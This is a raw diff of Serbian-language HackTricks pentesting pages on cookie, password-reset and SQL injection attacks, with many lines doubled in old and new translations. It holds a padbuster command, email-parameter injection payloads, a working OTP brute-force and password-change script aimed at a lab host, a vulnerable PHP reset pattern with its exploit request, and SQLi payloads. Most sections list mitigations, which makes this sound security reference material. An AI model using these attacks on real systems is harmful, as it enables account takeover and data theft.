Ako je attack uspešno izveden, onda možete pokušati da encrypt string po vašem izboru. Na primer, ako biste želeli da **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Ova izvršenja će vam dati kolačić ispravno enkriptovan i kodiran sa stringom **user=administrator** unutra.
|
||||
Ovo izvršavanje će vam dati cookie pravilno šifrovan i enkodovan sa stringom **user=administrator** unutra.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Možda kolačić može imati neku vrednost i može biti potpisan koristeći CBC. Tada je integritet vrednosti potpis koji je kreiran korišćenjem CBC sa istom vrednošću. Kako se preporučuje korišćenje nultog vektora kao IV, ova vrsta provere integriteta može biti ranjiva.
|
||||
Možda cookie može imati neku vrednost i može biti potpisan koristeći CBC. Tada je integritet vrednosti potpis kreiran primenom CBC nad istom vrednošću. Pošto se preporučuje korišćenje IV kao null vector, ovaj tip provere integriteta može biti ranjiv.
|
||||
|
||||
**Napad**
|
||||
**The attack**
|
||||
|
||||
1. Dobijte potpis korisničkog imena **administ** = **t**
|
||||
2. Dobijte potpis korisničkog imena **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Postavite u kolačić vrednost **administrator+t'** (**t'** će biti validan potpis **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. Nabavite potpis za username **administ** = **t**
|
||||
2. Nabavite potpis za username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Postavite u cookie vrednost **administrator+t'** (**t'** će biti validan potpis za **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Ako je kolačić enkriptovan koristeći ECB, može biti ranjiv.\
|
||||
Kada se prijavite, kolačić koji dobijate mora uvek biti isti.
|
||||
Ako je cookie šifrovan koristeći ECB, može biti ranjiv.\
|
||||
Kada se prijavite, cookie koji dobijete treba da bude uvek isti.
|
||||
|
||||
**Kako otkriti i napasti:**
|
||||
**How to detect and attack:**
|
||||
|
||||
Kreirajte 2 korisnika sa gotovo istim podacima (korisničko ime, lozinka, email, itd.) i pokušajte da otkrijete neki obrazac unutar datog kolačića.
|
||||
Kreirajte 2 users sa skoro istim podacima (username, password, email, itd.) i pokušajte da otkrijete neki obrazac unutar dobijenog cookie-ja
|
||||
|
||||
Kreirajte korisnika nazvanog na primer "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (pošto ECB enkriptuje sa istim ključem svaki blok, isti enkriptovani bajtovi mogu se pojaviti ako je korisničko ime enkriptovano).
|
||||
Kreirajte user-a nazvanog, na primer, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u cookie-ju (pošto ECB šifruje svaki blok istim ključem, iste šifrovane bajtove mogu se pojaviti ako je username šifrovan).
|
||||
|
||||
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako su enkriptovani "a", možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
|
||||
Trebao bi postojati obrazac (veličine korišćenog bloka). Dakle, znajući kako se grupa "a" šifruje možete kreirati username: "a"\*(size of the block)+"admin". Zatim, možete izbrisati šifrovani obrazac jednog bloka "a" iz cookie-ja. I imaćete cookie za username "admin".
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrera**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
|
||||
- **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
|
||||
- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na veb sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer ovo može izložiti osetljive informacije trećim stranama.
|
||||
- **Reference**:
|
||||
- HTTP referer header može leak password reset token ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži password reset.
|
||||
- **Impact**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
|
||||
- **Exploitation**: Da biste proverili da li password reset token leaking u referer headeru, **request a password reset** na vašu email adresu i **click the reset link** koji dobijete. **Do not change your password** odmah. Umesto toga, **navigate to a third-party website** (npr. Facebook ili Twitter) dok **intercepting the requests using Burp Suite**. Pregledajte zahteve da vidite da li **referer header sadrži password reset token**, jer bi to moglo izložiti osetljive informacije trećim stranama.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Članak o Curčenju Tokena za Resetovanje Lozinke](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Trovanje Resetovanja Lozinke**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudni sajt.
|
||||
- **Uticaj**: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Validirajte Host header u odnosu na belu listu dozvoljenih domena.
|
||||
- Napadači mogu manipulisati Host header tokom password reset zahteva kako bi reset link upućivao na maliciozni sajt.
|
||||
- **Impact**: Vodi do potencijalnog preuzimanja naloga kroz leaking reset tokena napadačima.
|
||||
- **Mitigation Steps**:
|
||||
- Validirajte Host header upoređujući ga sa whitelist-om dozvoljenih domena.
|
||||
- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
|
||||
- **Zakrpiti**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
|
||||
- **Reference**:
|
||||
- [Acunetix Članak o Trovanju Resetovanja Lozinke](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- **Patch**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju password reset URL-ova umesto `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Resetovanje Lozinke Manipulacijom Email Parametra**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Napadači mogu manipulisati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
|
||||
Napadači mogu manipulisati password reset zahtevom dodavanjem dodatnih email parametara kako bi preusmerili reset link.
|
||||
|
||||
- Dodajte email napadača kao drugi parametar koristeći &
|
||||
- Add attacker email as second parameter using &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Dodajte email napadača kao drugi parametar koristeći %20
|
||||
- Dodaj attacker email kao drugi parametar koristeći %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -45,137 +45,138 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Dodajte email napadača kao drugi parametar koristeći cc
|
||||
Dodajte email napadača kao drugi parametar koristeći cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Dodajte email napadača kao drugi parametar koristeći bcc
|
||||
- Dodajte e-mail napadača kao drugi parametar koristeći bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Dodajte email napadača kao drugi parametar koristeći ,
|
||||
- Dodajte e-mail napadača kao drugi parametar koristeći ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Dodajte email napadača kao drugi parametar u json niz
|
||||
- Dodajte attacker email kao drugi parametar u json array
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Koraci za ublažavanje**:
|
||||
- Ispravno analizirati i validirati email parametre na serverskoj strani.
|
||||
- Koristiti pripremljene izjave ili parametrizovane upite kako bi se sprečili napadi injekcijom.
|
||||
- **Reference**:
|
||||
- **Koraci ublažavanja**:
|
||||
- Ispravno parsirajte i validirajte email parametre na serverskoj strani.
|
||||
- Koristite prepared statements ili parameterized queries da sprečite injection attacks.
|
||||
- **References**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara**
|
||||
## **Promena email-a i lozinke bilo kog korisnika kroz API parametre**
|
||||
|
||||
- Napadači mogu modifikovati email i lozinku u API zahtevima kako bi promenili akreditive naloga.
|
||||
- Napadači mogu izmeniti email i password parametre u API zahtevima kako bi promenili pristupne podatke naloga.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Koraci za ublažavanje**:
|
||||
- Osigurati strogu validaciju parametara i provere autentifikacije.
|
||||
- Implementirati robusno logovanje i praćenje kako bi se otkrile i reagovalo na sumnjive aktivnosti.
|
||||
- **Koraci ublažavanja**:
|
||||
- Osigurajte strogu validaciju parametara i provere autentifikacije.
|
||||
- Implementirajte robusno logovanje i monitoring za otkrivanje i reagovanje na sumnjive aktivnosti.
|
||||
- **Referenca**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Nedostatak ograničenja zahteva: Email Bombing**
|
||||
|
||||
- Nedostatak rate limiting-a na zahtevima za reset lozinke može dovesti do email bombinga, preplavljujući korisnika porukama za reset.
|
||||
- **Koraci ublažavanja**:
|
||||
- Implementirajte rate limiting baziran na IP adresi ili nalogu korisnika.
|
||||
- Koristite CAPTCHA izazove da sprečite automatizovanu zloupotrebu.
|
||||
- **Reference**:
|
||||
- [Potpuno preuzimanje naloga putem manipulacije API parametrima](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Nema ograničenja brzine: Email bombardovanje**
|
||||
## **Saznajte kako se generiše token za reset lozinke**
|
||||
|
||||
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga.
|
||||
- Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba.
|
||||
- **Reference**:
|
||||
- [HackerOne izveštaj 280534](https://hackerone.com/reports/280534)
|
||||
- Razumevanje obrasca ili metode iza generisanja tokena može dovesti do predviđanja ili brute-force napada na tokene. Neki primeri:
|
||||
- Bazirano na timestamp-u
|
||||
- Bazirano na ID-u korisnika
|
||||
- Bazirano na email-u korisnika
|
||||
- Bazirano na imenu i prezimenu
|
||||
- Bazirano na datumu rođenja
|
||||
- Bazirano na kriptografiji
|
||||
- **Koraci ublažavanja**:
|
||||
- Koristite snažne, kriptografske metode za generisanje tokena.
|
||||
- Obezbedite dovoljnu slučajnost i dužinu da se spreči predvidljivost.
|
||||
- **Alati**: Koristite Burp Sequencer za analizu slučajnosti tokena.
|
||||
|
||||
## **Saznajte kako se generiše token za resetovanje lozinke**
|
||||
## **Guessable UUID**
|
||||
|
||||
- Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
|
||||
- Na osnovu vremenskog pečata
|
||||
- Na osnovu UserID-a
|
||||
- Na osnovu email-a korisnika
|
||||
- Na osnovu imena i prezimena
|
||||
- Na osnovu datuma rođenja
|
||||
- Na osnovu kriptografije
|
||||
- **Koraci za ublažavanje**:
|
||||
- Koristiti jake, kriptografske metode za generaciju tokena.
|
||||
- Osigurati dovoljnu nasumičnost i dužinu kako bi se sprečila predvidljivost.
|
||||
- **Alati**: Koristiti Burp Sequencer za analizu nasumičnosti tokena.
|
||||
- Ako su UUID-ovi (version 1) pogodljivi ili predvidivi, napadači mogu brute-force-ovati da generišu važeće reset tokene. Proverite:
|
||||
|
||||
## **Pogodna UUID**
|
||||
|
||||
- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće reset tokene. Proverite:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Koraci za ublažavanje**:
|
||||
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne mere bezbednosti za druge verzije.
|
||||
- **Alati**: Koristiti [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova.
|
||||
- **Koraci ublažavanja**:
|
||||
- Koristite GUID verzije 4 za veću slučajnost ili implementirajte dodatne sigurnosne mere za druge verzije.
|
||||
- **Alati**: Koristite [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova.
|
||||
|
||||
## **Manipulacija odgovorom: Zamenite loš odgovor dobrim**
|
||||
## **Manipulacija odgovora: Zamena lošeg odgovora dobrim**
|
||||
|
||||
- Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati provere na serverskoj strani kako bi se osigurala integritet odgovora.
|
||||
- Koristiti sigurne komunikacione kanale kao što je HTTPS kako bi se sprečili napadi "man-in-the-middle".
|
||||
- **Reference**:
|
||||
- [Kritična greška u događaju uživo Bug Bounty](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- Manipulisanje HTTP odgovorima da bi se zaobišle poruke o greškama ili ograničenja.
|
||||
- **Koraci ublažavanja**:
|
||||
- Implementirajte serverske provere kako biste osigurali integritet odgovora.
|
||||
- Koristite sigurne komunikacione kanale poput HTTPS-a da sprečite man-in-the-middle napade.
|
||||
- **Referenca**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Korišćenje istekao tokena**
|
||||
## **Korišćenje isteklog tokena**
|
||||
|
||||
- Testiranje da li se istekao token još uvek može koristiti za resetovanje lozinke.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati stroge politike isteka tokena i validirati istekao token na serverskoj strani.
|
||||
- Testiranje da li se istečeni tokeni i dalje mogu koristiti za reset lozinke.
|
||||
- **Koraci ublažavanja**:
|
||||
- Uvedite stroge politike isteka tokena i validirajte isteka tokena na serverskoj strani.
|
||||
|
||||
## **Brute Force token za resetovanje lozinke**
|
||||
## **Brute Force reset tokena**
|
||||
|
||||
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla ograničenja brzine zasnovana na IP-u.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga.
|
||||
- Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade.
|
||||
- Pokušaji brute-force napada na reset token koristeći alate kao što su Burpsuite i IP-Rotator za zaobilaženje ograničenja po IP-u.
|
||||
- **Koraci ublažavanja**:
|
||||
- Implementirajte robusno rate-limiting i mehanizme zaključavanja naloga.
|
||||
- Pratite sumnjive aktivnosti koje ukazuju na brute-force napade.
|
||||
|
||||
## **Pokušajte koristiti svoj token**
|
||||
## **Pokušaj korišćenja vašeg tokena**
|
||||
|
||||
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.
|
||||
- Testiranje da li se reset token napadača može koristiti zajedno sa email-om žrtve.
|
||||
- **Koraci ublažavanja**:
|
||||
- Osigurajte da su tokeni vezani za korisničku sesiju ili druge korisnički-specifične atribute.
|
||||
|
||||
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje lozinku.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke.
|
||||
- Obezbeđivanje da se sesije invalidiraju kada se korisnik odjavi ili resetuje lozinku.
|
||||
- **Koraci ublažavanja**:
|
||||
- Implementirajte odgovarajuće upravljanje sesijama, osiguravajući da sve sesije budu invalidirane pri odjavi ili resetu lozinke.
|
||||
|
||||
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Reset tokeni bi trebali imati vreme isteka nakon kojeg postaju nevažeći.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani.
|
||||
- Reset tokeni bi trebali imati vreme isteka nakon kog postaju nevažeći.
|
||||
- **Koraci ublažavanja**:
|
||||
- Postavite razumno vreme isteka za reset tokene i striktno ga primenjivajte na serverskoj strani.
|
||||
|
||||
## **Zaobilaženje ograničenja brzine OTP-a promenom vaše sesije**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Ako veb sajt koristi korisničku sesiju za praćenje pogrešnih pokušaja OTP-a i OTP je slab (<= 4 cifre), onda možemo efikasno brute-force-ovati OTP.
|
||||
- Ako sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), tada možemo efikasno bruteforce-ovati OTP.
|
||||
- **eksploatacija**:
|
||||
- samo zatražite novi token sesije nakon što vas server blokira.
|
||||
- **Primer** koda koji eksploatiše ovu grešku nasumičnim pogađanjem OTP-a (kada promenite sesiju, OTP će se takođe promeniti, i tako nećemo moći sekvencijalno da ga brute-force-ujemo!):
|
||||
- samo zatražite novi session token nakon što vas server blokira.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Zaobilaženje autentifikacije putem resetovanja lozinke
|
||||
# od coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Počinjem napad!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] Ovo može potrajati oko 5 minuta da se završi!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nasumičan broj od 0 - 9999 sa 4 cifre
|
||||
parms["s"] = 164 # nije važno, samo utiče na frontend
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # pratiti broj pokušaja
|
||||
out = requests.get(logout,headers=headers) # odjavljuje vas
|
||||
mainp = requests.get(root) # dobija još jedan phpssid (token)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # izvlači sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # ažurira zaglavlja sa novom sesijom
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # šalje email za promenu lozinke
|
||||
ter = 0 # resetuje ter tako da dobijemo novu sesiju nakon 8 pokušaja
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # ovo je dužina stranice kada pravilno dobijete kod za oporavak (dobijeno testiranjem)
|
||||
print(len(res.text)) # za debug informacije
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # ovde ćemo promeniti lozinku na nešto novo
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Lozinka je promenjena na:D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Napad je zaustavljen")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Reference
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Neke implementacije izlažu akciju promene lozinke koja poziva rutinu za promenu lozinke sa skipOldPwdCheck=true i ne proverava nijedan reset token ili vlasništvo. Ako endpoint prihvata action parametar poput change_password i username/new password u telu zahteva, napadač može resetovati proizvoljne naloge pre autentifikacije.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Zahtev za eksploataciju (koncept):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mere ublažavanja:
|
||||
- Uvek zahtevajte validan, vremenski ograničen reset token vezan za account i session pre promene lozinke.
|
||||
- Nikada ne izlažite skipOldPwdCheck paths neautentifikovanim korisnicima; primenjujte autentikaciju za regularne promene lozinke i proverite staru lozinku.
|
||||
- Poništite sve aktivne sessions i reset tokens nakon promene lozinke.
|
||||
|
||||
## References
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je SQL injekcija?
|
||||
## Šta je SQL injection?
|
||||
|
||||
**SQL injekcija** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **vide**, **modifikuju** ili **obrišu** podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve radnje mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije, pa čak i kompromitovanjem servera ili uskraćivanjem usluge.
|
||||
SQL injection je bezbednosna ranjivost koja omogućava napadačima da se **mešaju u upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **pregledaju**, **izmene** ili **obrišu** podatke kojima ne bi trebalo da pristupe, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija ima pristup. Takve radnje mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije, pa čak i kompromitacijom servera ili denial of service.
|
||||
|
||||
## Detekcija ulazne tačke
|
||||
## Otkrivanje ulazne tačke
|
||||
|
||||
Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgovora servera na SQLi povezane unose, **prvi korak** je razumeti kako **ubaciti podatke u upit bez ometanja**. To zahteva identifikaciju metode za **efikasno izlazak iz trenutnog konteksta**. Ovo su neki korisni primeri:
|
||||
Kada sajt izgleda **ranjiv na SQL injection (SQLi)** zbog neuobičajenih odgovora servera na unose povezane sa SQLi, **prvi korak** je da se razume kako da **ubacite podatke u upit bez narušavanja njegove strukture**. To zahteva identifikovanje metode za efikasno **izlazak iz trenutnog konteksta**. Evo nekoliko korisnih primera:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@ Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgo
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Zatim, treba da znate kako da **popravite upit kako ne bi bilo grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili možete jednostavno **uneti** svoje podatke i **dodati simbol komentara na kraju**.
|
||||
Zatim, treba da znaš kako da **ispraviš upit da ne bi bilo grešaka**. Da bi ispravio upit možeš da **ubaciš** podatke tako da **prethodni upit prihvati nove podatke**, ili jednostavno možeš da **ubaciš** svoje podatke i **dodaš simbol za komentar na kraju**.
|
||||
|
||||
_Napomena: ako možete da vidite poruke o grešci ili primetite razlike kada upit radi i kada ne radi, ova faza će biti lakša._
|
||||
_Napomena: ako možeš da vidiš poruke o grešci ili možeš da uočiš razlike kada upit radi i kada ne radi, ova faza će biti lakša._
|
||||
|
||||
### **Komentari**
|
||||
```sql
|
||||
@ -51,20 +51,20 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Потврђивање логичким операцијама
|
||||
### Potvrđivanje logičkim operacijama
|
||||
|
||||
Поуздан метод за потврђивање SQL инјекције укључује извршавање **логичке операције** и посматрање очекиваних исхода. На пример, GET параметар као што је `?username=Peter` који даје идентичан садржај када се модификује у `?username=Peter' or '1'='1` указује на SQL инјекцију.
|
||||
